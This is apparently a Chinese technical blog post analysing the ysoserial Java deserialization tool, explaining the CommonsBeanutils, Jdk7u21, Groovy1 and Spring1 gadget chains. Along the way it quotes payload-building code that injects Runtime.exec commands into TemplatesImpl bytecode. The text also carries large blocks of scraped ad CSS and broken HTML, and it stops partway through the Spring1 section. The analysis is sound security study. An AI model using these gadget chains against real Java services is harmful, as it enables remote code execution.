淺談java反序列化工具ysoserial

前言css


  關於java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections這個庫,形成的反序列化問題。然而,在下載老外的ysoserial工具並仔細看看後,我發現了許多值得學習的知識。html

至少能學到以下內容:java

  不一樣反序列化payload玩法靈活運用了反射機制和動態代理機制構造POCgit

  java反序列化不只是有Apache Commons Collections這樣一種玩法。還有以下payload玩法:github

CommonsBeanutilsCollectionsLogging1所需第三方庫文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2 CommonsCollections1所需第三方庫文件: commons-collections:3.1 CommonsCollections2所需第三方庫文件: commons-collections4:4.0 CommonsCollections3所需第三方庫文件: commons-collections:3.1(CommonsCollections1的變種) CommonsCollections4所需第三方庫文件: commons-collections4:4.0(CommonsCollections2的變種) Groovy1所需第三方庫文件: org.codehaus.groovy:groovy:2.3.9 Jdk7u21所需第三方庫文件: 只需JRE版本 <= 1.7u21 Spring1所需第三方庫文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASEweb

  上面標註了payload使用狀況下所依賴的包,諸位能夠在源碼中看到,根據實際狀況選擇。spring

  經過對該攻擊代碼的分析,能夠學習java的一些有意思的知識。並且,裏面寫的java代碼也很值得學習,巧妙運用了反射機制去解決問題。老外寫的POC仍是很精妙的。shell

準備工做apache


  在github上下載ysoserial工具。使用maven進行編譯成Eclipse項目文件,mvn eclipse:eclipse。要你聯網下載依賴包,請耐心等待。若是卡住了,中止後再次執行該命令。api

  導入後,能夠看到裏面有8個payload。其中ObjectPayload是定義的接口,全部的Payload須要實現這個接口的getObject方法。下面就開始對這些payload進行簡要的分析。

  \

payload分析


  1. CommonsBeanutilsCollectionsLogging1

    該payload的要求依賴包挺多的,可能碰到的狀況不會太多,但用到的技術是極好的。對這個payload執行的分析,請閱讀參考資源第一個的分析文章。

    先直接看代碼:

#!javapublic Object getObject(final String command) throws Exception {    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);    // mock method name until armed    final BeanComparator comparator = new BeanComparator("lowestSetBit");    // create queue with numbers and basic comparator    final PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);    // stub data for replacement later    queue.add(new BigInteger("1"));    queue.add(new BigInteger("1"));    // switch method called by comparator    Reflections.setFieldValue(comparator, "property", "outputProperties");    //Reflections.setFieldValue(comparator, "property", "newTransformer");    //這裏因爲比較器的代碼,只能訪問內部屬性。因此選擇outputProperties屬性。 進而調用getOutputProperties方法。  @angelwhu    // switch contents of queue    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");    queueArray[0] = templates;    queueArray[1] = templates;    return queue;}</object></object>

    第一行代碼final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);建立了TemplatesImpl類的對象,裏面封裝了咱們須要的命令執行代碼。並且是使用字節碼的形式存儲在對象屬性中。
    下面就具體分析下這個對象的產生過程。

    (1) 利用TemplatesImpl類存儲危險的字節碼

      在產生字節碼時,用到了JDK中javassist類。具體瞭解能夠參考這篇博客http://www.cnblogs.com/hucn/p/3636912.html
      下面是我編寫的一個簡單的樣例程序,便於理解:

#!java@Testpublic void testClassPool() throws CannotCompileException, NotFoundException, IOException{    String command = "calc";    ClassPool pool = ClassPool.getDefault();    pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class));    CtClass cc = pool.get(angelwhu.model.Point.class.getName());    //System.out.println(angelwhu.model.Point.class.getName());    cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");    //加入關鍵執行代碼,生成一個靜態函數。    String newClassNameString = "angelwhu.Pwner" + System.nanoTime();    cc.setName(newClassNameString);    CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);    cc.addMethod(mthd);    cc.writeFile();}

      上述代碼首先獲取到class定義的容器ClassPool,並找到了我自定義的Point類,由今生成了cc對象。這樣就能夠開始對類進行修改的任意操做了。並且這個操做是直接寫字節碼。這樣能夠繞過許多安全機制,正像工具中註釋說的:

        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

 

      後面的操做即是利用我自定義的模板類Point,生成新的類名,並使用insertAfter方法插入了惡意java代碼,執行命令。有興趣的能夠再詳細瞭解這個類的用法。這裏再也不贅述。

      這段代碼運行後,會在當前目錄生成字節碼(class文件)。使用java反編譯器可看到源碼,在原始模板類中插入了惡意靜態代碼,並且以字節碼的形式直接存儲。命令行直接運行,能夠執行彈出計算器的命令:

      \

      如今看看老外工具中,生成字節碼的代碼爲:

#!javapublic static TemplatesImpl createTemplatesImpl(final String command) throws Exception {    final TemplatesImpl templates = new TemplatesImpl();    // use template gadget class    ClassPool pool = ClassPool.getDefault();    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));    final CtClass clazz = pool.get(StubTransletPayload.class.getName());    // run command in static initializer    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)    clazz.setName("ysoserial.Pwner" + System.nanoTime());    final byte[] classBytes = clazz.toBytecode();    // inject class bytes into instance    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {        classBytes,        ClassFiles.classAsBytes(Foo.class)});    // required to make TemplatesImpl happy    Reflections.setFieldValue(templates, "_name", "Pwnr");    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());    return templates;}

 

      根據以上樣例分析,能夠清楚看見:前面幾行代碼,即生成了咱們須要的插入了惡意java代碼的字節碼數據。該字節碼其實能夠看作是一個類(.class)文件。final byte[] classBytes = clazz.toBytecode();將其轉成了二進制數據進行存儲。

      Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});這裏又來到了一個有趣知識,那就是java反射機制的強大。ysoserial工具封裝了使用反射機制對對象的一些操做,能夠直接借鑑。

      具體能夠看看其源碼,這裏在工具中常用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,即是使用反射機制,將obj對象的fieldName屬性賦值爲value。反射機制的強大之處在於:

      能夠動態對對象的私有屬性進行改變賦值,即:private修飾的屬性。動態生成任意類對象。

      因而,咱們便將com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類生成的對象templates中的_bytecodes屬性,_name屬性,_tfactory屬性賦值成咱們但願的值。

      重點在於_bytecodes屬性,裏面存儲了咱們的惡意java代碼。如今的問題即是:如何觸發加載咱們的惡意java字節碼?

    (2) 觸發TemplatesImpl類加載_bytecodes屬性中的字節碼

      在TemplatesImpl類中存在執行鏈:

#!javaTemplatesImpl.getOutputProperties()  TemplatesImpl.newTransformer()    TemplatesImpl.getTransletInstance()      TemplatesImpl.defineTransletClasses()        ClassLoader.defineClass()        Class.newInstance()          ...            MaliciousClass.<clinit>()            //class新建初始化對象後,會執行惡意類中的靜態方法,即:咱們插入的惡意java代碼              ...                Runtime.exec()//這裏能夠是任意java代碼,好比:反彈shell等等。  </clinit>

      這在ysoserial工具中的註釋中是能夠看到的。在源碼中,咱們從TemplatesImpl.getOutputProperties()開始跟蹤,不難發現上面的執行鏈。最終會在getTransletInstance方法中看到以下觸發加載自定義ja字節碼部分的代碼:

#!javaprivate Translet getTransletInstance()throws TransformerConfigurationException {    .............    if (_class == null) defineTransletClasses();//經過ClassLoader加載字節碼,存儲在_class數組中。    // The translet needs to keep a reference to all its auxiliary     // class to prevent the GC from collecting them    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建實例,觸發惡意代碼。     ............

      在defineTransletClasses()方法中,會加載咱們以前存儲在_bytecodes屬性中的字節碼(能夠看作類文件),進而返回類的Class對象,存儲在_class數組中。下面是調試時候的截圖:

      \

      能夠看到在defineTransletClasses()後,獲得類的Class對象。而後會執行newInstance()操做,新建一個實例,這樣便觸發了咱們插入的靜態惡意java代碼。若是接着單步執行,便會彈出計算器。

經過以上分析,能夠看到:

      只要可以自動觸發TemplatesImpl.getOutputProperties()方法執行,咱們就能達到目的了。 (3) 利用BeanComparator比較器觸發執行

      咱們接着看payload的代碼:

#!javafinal BeanComparator comparator = new BeanComparator("lowestSetBit");// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);// stub data for replacement laterqueue.add(new BigInteger("1"));queue.add(new BigInteger("1"));</object></object>

      很簡單,將PriorityQueue(優先級隊列)插入兩個元素,並且須要一個實現了Comparator接口的比較器,對元素進行比較,並對元素進行排隊處理。具體能夠看看PriorityQueue類的readObject()方法。

#!javaprivate void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    ...........    queue = new Object[size];    // Read in all elements.    for (int i = 0; i < size; i++)        queue[i] = s.readObject();    // Elements are guaranteed to be in "proper order", but the    // spec has never explained what that might be.    heapify();}

      從對象反序列化過程原理,能夠知道會首先調用該對象readObject()。固然在序列化過程當中會首先調用該對象的writeObject()方法。這兩個方法能夠對比着看,方便理解。

      首先,在序列化PriorityQueue類實例時,會依次讀取隊列中的對象,並放到數組中進行存儲。queue[i] = s.readObject();而後,進行排序操做heapify();。最終會到達這裏,調用比較器的compare()方法,對元素間進行比較。

#!javaprivate void siftDownUsingComparator(int k, E x) {    .........................        if (comparator.compare(x, (E) c) <= 0)            break;    .........................}

      這裏傳進去的,即是BeanComparator比較器:位於commons-beanutils包。
      因而,看看比較器的compare方法。

#!javapublic int compare( T o1, T o2 ) {        ..................        Object value1 = PropertyUtils.getProperty( o1, property );        Object value2 = PropertyUtils.getProperty( o2, property );        return internalCompare( value1, value2 );             ..................    }

      o1,o2即是要比較的兩個對象,property即咱們須要比較對象中的屬性(可控)。一開始property賦值爲lowestSetBit,後來改爲真正須要的outputProperties屬性。

      PropertyUtils.getProperty( o1, property )顧名思義,即是取出o1對象中property屬性的值。而實際上會去調用o1.getProperty()方法獲得property屬性值。

      到這裏,能夠畫上完美的一個圈了。咱們只需將前面構造好的TemplatesImpl對象添加到PriorityQueue(優先級隊列)中,而後設置比較器爲BeanComparator("outputProperties")便可。
      那麼,在反序列化過程當中,會自動調用TemplatesImpl.getOutputProperties()方法。執行命令了。

    我的總結觀點:

      只須要想辦法:自動調用TemplatesImpl的getOutputProperties方法。或者TemplatesImpl.newTransformer()即能自動加載字節碼,觸發惡意代碼。這也在其餘payload中常常用到。 觸發原理:提供會自動調用比較器的容器。如:將PriorityQueue換成TreeSet容器,也是能夠的。

      爲了在生成payload時,可以正常運行。在代碼中,先象徵性地加入了兩個BigInteger對象。
      後面使用反射機制,將comparator中的屬性和queue容器存儲的對象都改爲咱們須要的屬性和對象。
      不然,在生成payload時,便會彈出計算器,拋出異常,沒法正常執行了。測試以下:

      \

  2. Jdk7u21

    該payload實際上是JAVA SE的一個漏洞,ysoserial工具註釋中有連接:https://gist.github.com/frohoff/24af7913611f8406eaf3。該payload不須要使用任何第三方庫文件,只需官方提供的JDK便可,這個很方便啊。 不知Jdk7u21之後怎麼補的,先來看看它的實現。

    在介紹完上面這個payload後,再來看這個能夠發現:CommonsBeanutilsCollectionsLogging1借鑑了Jdk7u21的利用方法。

    一樣,Jdk7u21開始便建立了一個存儲了惡意java字節碼數據的TemplatesImpl類對象。接下來就是怎麼觸發的問題了:如何自動觸發TemplatesImpl的getOutputProperties方法。

    這裏首先就有一個有趣的hash碰撞問題了。

    (1) "f5a5a608"的hash值爲0

      類的hashCode方法是返回一個獨一無二的hash值(int型),去表明這個惟一對象。若是類沒有重寫hashCode方法,會調用原始Object類中的hashCode方法返回一個hash值。
      String類的hashCode方法是這麼實現的。

#!java    public int hashCode() {    int h = hash;    int len = count;    if (h == 0 && len > 0)     {        int off = offset;        char val[] = value;        for (int i = 0; i < len; i++) {            h = 31*h + val[off++];        }        hash = h;    }    return h;}

      因而,就有了有趣的值:

#!javaString zeroHashCodeStr = "f5a5a608";int hash3 = zeroHashCodeStr.hashCode();System.out.println(hash3);

      能夠看到"f5a5a608"字符串,經過hashCode方法生成的hash值爲0。這在以後的觸發過程當中會用到。

    (2) 利用動態代理機制觸發執行

      Jdk7u21中使用了HashSet容器進行觸發。添加了兩個對象,一個是存儲了惡意java字節碼數據的TemplatesImpl類對象templates,一個是代理了Templates接口的proxy對象,使用了動態代理機制。

      以下是Jdk7u21生成payload時的主要代碼:

#!java......InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);......LinkedHashSet set = new LinkedHashSet(); // maintain orderset.add(templates);set.add(proxy);......return set;

      HashSet容器,就能夠當作是一個HashMap<key,new>,key即是咱們存儲進去的數據,對應的value都只是靜態的Object對象。

      一樣,來看看HashSet容器中的readObject方法。

#!javaprivate void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {....................// Read in all elements in the proper order.    for (int i=0; i<size; e="" pre=""><p>實際上,這裏map能夠看作是HashMap類生成的對象。接着追蹤源碼就到了關鍵的地方:</p><pre class="brush:java;">#!javapublic V put(K key, V value) {    .........    int hash = hash(key.hashCode());    int i = indexFor(hash, table.length);    for (Entry<k,v> e = table[i]; e != null; e = e.next) {        Object k;        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此處邏輯,須要使其觸發key.equals(k)操做。            ..........        }    }    .........}</k,v></pre>
<k,v>
<p>經過以上分析下能夠知道:在反序列化HashSet過程當中,會依次將templates和proxy對象添加到map中。</p>
<p>接着咱們須要觸發代碼去執行key.equals(k)這條語句。<br>
因爲<strong>短路機制</strong>的緣由,必須使templates.hashCode()與proxy.hashCode()計算值相等。</p>
<p>proxy使用了<strong>動態代理</strong>機制,代理了Templates接口。具體請參考其餘分析老外LazyMap觸發Apache Commons Collections第三庫序列化問題的文章,如:參考資料2。</p>
<p>這裏又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler類。<br>
簡而言之,我理解爲將對象proxy全部的方法調用,都改爲調用sun.reflect.annotation.AnnotationInvocationHandler類的invoke()方法。</p>
<p>當咱們調用proxy.hashCode()方法時,天然就會執行到了以下代碼:</p>
<pre class="brush:java;">#!javapublic Object invoke(Object proxy, Method method, Object[] args) {    String member = method.getName();    ............    if (member.equals("hashCode"))        return hashCodeImpl();        ..........private int hashCodeImpl() {    int result = 0;    for (Map.Entry<string, object=""> e : memberValues.entrySet()) {        result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()爲0。"f5a5a608".hashCode()=0;            memberValueHashCode(e.getValue());    }    return result;}</string,></pre>
<string, object="">
<p>這裏的memberValues就是payload代碼一開始傳進去的map("f5a5a608",templates)。簡要畫圖說明爲:</p>
<p><img alt="\" src="/uploadfile/Collfiles/20160402/2016040209195853.png" style="width: 630px; height: 356.156px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f454ec70by">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;width:100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;width:auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{width:20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{width:40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;width:18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
.imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;width:96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{width:100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;width:22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
.imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;width:16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;width:34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
.imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f454ec70by" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none; width: 630px; display: block;"><div class="imageplus-append-box" id="w-irrzhi">
<div id="w-irrzhi-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
</div></div></p>
<p>所以,經過動態代理機制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。<br>
這樣即可以執行key.equals(k),即:proxy.equals(templates)語句。</p>
<p>接着查看源碼便知:proxy.equals(templates)操做會遍歷Templates接口的全部方法,並調用。如此,便可觸發調用templates的getOutputProperties方法。</p>
<pre class="brush:java;">#!javaif (member.equals("equals") && paramTypes.length == 1 &&        paramTypes[0] == Object.class)        return equalsImpl(args[0]);.......................... private Boolean equalsImpl(Object o) {..........................    for (Method memberMethod : getMemberMethods()) {        String member = memberMethod.getName();        Object ourValue = memberValues.get(member);..........................                hisValue = memberMethod.invoke(o);//觸發調用getOutputProperties方法</pre>
<p>如此,Jdk7u21的payload便也完美觸發了。</p>
<p>一樣,爲了正常生成payload不拋出異常。先暫時存儲map.put(zeroHashCodeStr, "foo");,後面替換爲真正咱們所需的對象:map.put(zeroHashCodeStr, templates); // swap in real object</p>
<p>總結一下:</p>
技術關鍵在於巧妙的利用了"f5a5a608"hash值爲0。實現了hash碰撞成立。 AnnotationInvocationHandler對於equal方法的處理,可使咱們調用目標方法getOutputProperties。
<p>計算hash值部分的內容還挺有意思。有興趣能夠到參考連接中github上看看個人測試代碼。</p>
3. Groovy1
<p>這個payload和最近Xstream反序列化漏洞的POC原理有類似性。請參考:http://drops.wooyun.org/papers/13243。</p>
<p>下面談談這個payload不同的地方。 payload使用了Groovy庫中ConvertedClosure類。該類實現了InvocationHandler和Serializable接口,一樣能夠用做動態代理而且能夠序列化傳輸。代碼也只有幾行:</p>
<pre class="brush:java;">#!javafinal ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");final Map map = Gadgets.createProxy(closure, Map.class);        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);return handler;</pre>
<p>當反序列化handler時,會調用map.entrySet方法。因而,就調用代理類ConvertedClosure的invoke方法了。最終,來到了:</p>
<pre class="brush:java;">#!javapublic Object invokeCustom(Object proxy, Method method, Object[] args)throws Throwable {    if (methodName!=null && !methodName.equals(method.getName())) return null;    return ((Closure) getDelegate()).call(args);//傳入的是MethodClosure}  </pre>
<p>而後和XStream同樣,調用MethodClosure.doCall()方法。即:Groovy語法中"command".execute(),順利執行命令。</p>
<p>我的總結:</p>
能夠看到動態代理機制的強大做用。4. Spring1
<p>Spring1這個payload執行鏈有些複雜。按照常規步驟來分析下:</p>
<p>反序列化對象的readObject()方法爲入口點進行跟蹤。這裏是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider。</p>
<pre class="brush:java;">#!javaprivate void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {    inputStream.defaultReadObject();    Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);    this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());}</pre>
<p>很明顯的嗅到了感興趣的"味道":ReflectionUtils.invokeMethod。接下來聯繫payload源碼跟進下,或者單步調試。</p>
因爲流程可能比較錯綜複雜,畫個簡單的圖表示下幾個對象之間的關係:
<p><img alt="\" src="/uploadfile/Collfiles/20160402/2016040209195854.png" style="width: 630px; height: 429.281px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f455twhnh7">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;width:100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;width:auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{width:20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{width:40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;width:18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
.imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;width:96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{width:100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;width:22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
.imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;width:16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;width:34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
.imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f455twhnh7" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none; width: 630px; display: block;"><div class="imageplus-append-box" id="w-wltxah">
